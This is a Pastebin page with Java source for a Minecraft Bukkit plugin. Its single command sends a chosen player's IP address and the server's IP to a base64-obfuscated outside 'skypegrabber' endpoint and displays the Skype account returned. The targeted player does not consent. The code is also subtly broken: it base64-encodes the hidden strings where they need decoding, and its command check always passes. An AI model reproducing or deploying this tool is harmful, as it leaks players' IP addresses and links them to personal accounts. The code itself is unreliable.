Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package me.FFY00.Loko;
- import java.io.IOException;
- import java.net.URL;
- import java.net.URLConnection;
- import java.util.Scanner;
- import java.util.logging.Logger;
- import javax.xml.bind.DatatypeConverter;
- import org.bukkit.Bukkit;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandSender;
- import org.bukkit.entity.Player;
- import org.bukkit.plugin.PluginDescriptionFile;
- import org.bukkit.plugin.java.JavaPlugin;
- public class Main extends JavaPlugin {
- public final Logger logger = Logger.getLogger("Minecraft");
- public void onDisable() {
- PluginDescriptionFile pdfFile = this.getDescription();
- getLogger().info(pdfFile.getName() + "criado por FFY00");
- this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Desativado Com Sucesso!");}
- public void onEnable() {
- PluginDescriptionFile pdfFile = this.getDescription();
- getLogger().info(pdfFile.getName() + "criado por FFY00");
- this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Ativado Com Sucesso!");};
- // variaveis
- String url1 = "aHR0cDovL2RldmZmeTAwLmJlc2FiYS5jb20vc2t5cGVncmFiYmVyL3NreXBlZ3JhYmJlci5waHA/YT0";
- String url = DatatypeConverter.printBase64Binary(url1.getBytes());
- String comando1 = "c2t5cGU";
- String comando = DatatypeConverter.printBase64Binary(comando1.getBytes());
- String server = Bukkit.getIp();
- String param1 = "P3NlcnZlcj0";
- String param = DatatypeConverter.printBase64Binary(param1.getBytes());
- String ip = "nada";
- // start url
- private static String getText(String urlloc) {
- try {
- URL url = new URL(urlloc);
- URLConnection openConnection = url.openConnection();
- openConnection.addRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0");
- Scanner r = new Scanner(openConnection.getInputStream());
- StringBuilder sb = new StringBuilder();
- while (r.hasNext()) {
- sb.append(r.next() + " ");
- }
- r.close();
- return sb.toString();
- } catch (IOException e) {
- }
- return null;
- }
- // end url
- // start comando
- public boolean onCommand(CommandSender sender, Command cmd, String comando, String[] args){
- Player p = (Player) sender;
- if(comando.equalsIgnoreCase(comando)){
- if(args.length == 0){
- ip = p.getAddress().getHostName();
- String skype = getText(url + ip + param + server);
- p.sendMessage("§bSkype: " + skype);
- } // args 0
- if(args.length > 0){
- Player p2 = Bukkit.getPlayer(args[0]);
- if(p2.isOnline()){
- ip = p2.getAddress().getHostName();
- String skype = getText(url + ip + param + server);
- p.sendMessage("§bSkype: " + skype);
- } // p2 esta on
- } // args maior que 0
- } // end if
- return false;
- } // end comando
- } // end plugin
Advertisement
Add Comment
Please, Sign In to add comment